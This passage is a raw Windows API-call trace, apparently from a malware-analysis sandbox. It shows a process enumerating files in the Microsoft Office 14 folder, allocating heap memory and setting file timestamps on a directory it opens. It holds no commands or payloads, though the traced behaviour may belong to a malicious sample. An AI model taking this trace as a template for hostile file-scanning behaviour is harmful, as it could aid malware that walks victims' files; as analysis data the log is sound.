cFileName="MSART9.BDR", cAlternateFileName="")) returned 0 [0078.237] GetLastError () returned 0x12 [0078.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.237] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0078.238] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee75d00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd248dbc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ee75d00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x2d998, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRTVIEW.DLL", cAlternateFileName="")) returned 1 [0078.238] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xcf8844c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xe7380, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSTORM.DLL", cAlternateFileName="")) returned 1 [0078.238] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x500f7b00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd83c4bc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x500f7b00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x81d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="CDLMSO.DLL", cAlternateFileName="")) returned 1 [0078.238] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x7b09, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.HLP", cAlternateFileName="")) returned 1 [0078.238] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44f4800, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44f4800, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0xdcc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CharSetTable.chr", cAlternateFileName="")) returned 1 [0078.238] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22bf4c00, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf0edea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x22bf4c00, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x41f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLVIEW.EXE", cAlternateFileName="")) returned 1 [0078.238] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2149b700, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd24d9e80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2149b700, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xb0578, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMAX20.DLL", cAlternateFileName="")) returned 1 [0078.238] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x37160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNFNOT32.EXE", cAlternateFileName="")) returned 1 [0078.238] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd24fffe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xcf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="CODEEDIT.DLL", cAlternateFileName="")) returned 1 [0078.238] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x337e5b00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x6048cf10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x337e5b00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x2cb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTAB32.DLL", cAlternateFileName="")) returned 1 [0078.238] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6471c400, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x604b3070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6471c400, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x36580, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContactPicker.dll", cAlternateFileName="")) returned 1 [0078.238] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONVERT", cAlternateFileName="")) returned 1 [0078.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0078.238] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" (normalized: "c:\\program files\\microsoft office\\office14\\convert"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" (normalized: "c:\\program files\\microsoft office\\office14\\convert"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0078.239] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0078.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xac32c0 [0078.240] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xac32c0, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xac32c0, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0078.240] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac32c0) returned 1 [0078.240] NtClose (Handle=0x164) returned 0x0 [0078.240] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0078.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0078.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.240] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0078.242] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.242] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0078.242] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x16178, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACT3.SAM", cAlternateFileName="")) returned 1 [0078.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5268 [0078.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab89a8 [0078.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.243] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x7990, dwReserved0=0x0, dwReserved1=0x0, cFileName="DELIMDOS.FAE", cAlternateFileName="")) returned 1 [0078.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5288 [0078.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8a30 [0078.244] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.244] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x79a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DELIMWIN.FAE", cAlternateFileName="")) returned 1 [0078.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.244] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.244] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab52a8 [0078.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8ab8 [0078.244] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.244] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x5b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESKSAM.SAM", cAlternateFileName="")) returned 1 [0078.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.244] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.245] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab52c8 [0078.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8b40 [0078.245] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.245] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xf978, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBC.SAM", cAlternateFileName="")) returned 1 [0078.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.245] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.245] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab52e8 [0078.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8bc8 [0078.246] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4040) returned 0xac32c0 [0078.246] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabf2b8) returned 1 [0078.246] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.246] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6bd53ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x7180, dwReserved0=0x0, dwReserved1=0x0, cFileName="OL.SAM", cAlternateFileName="")) returned 1 [0078.246] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.246] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.246] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.246] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.246] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.246] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5308 [0078.246] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8c50 [0078.246] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.246] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x207a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLADD.FAE", cAlternateFileName="")) returned 1 [0078.246] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5328 [0078.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8cd8 [0078.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.247] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6bd79c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x1dda8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLAPPT.FAE", cAlternateFileName="")) returned 1 [0078.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5348 [0078.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8d60 [0078.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.248] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x117a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLJRNL.FAE", cAlternateFileName="")) returned 1 [0078.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5368 [0078.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8de8 [0078.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.248] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6bd9fd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xf798, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLMAIL.FAE", cAlternateFileName="")) returned 1 [0078.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5388 [0078.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8e70 [0078.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.249] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xcb98, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLNOTE.FAE", cAlternateFileName="")) returned 1 [0078.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab53a8 [0078.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8ef8 [0078.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.250] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6be5e470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x1c398, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLTASK.FAE", cAlternateFileName="")) returned 1 [0078.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab53c8 [0078.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8f80 [0078.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.250] 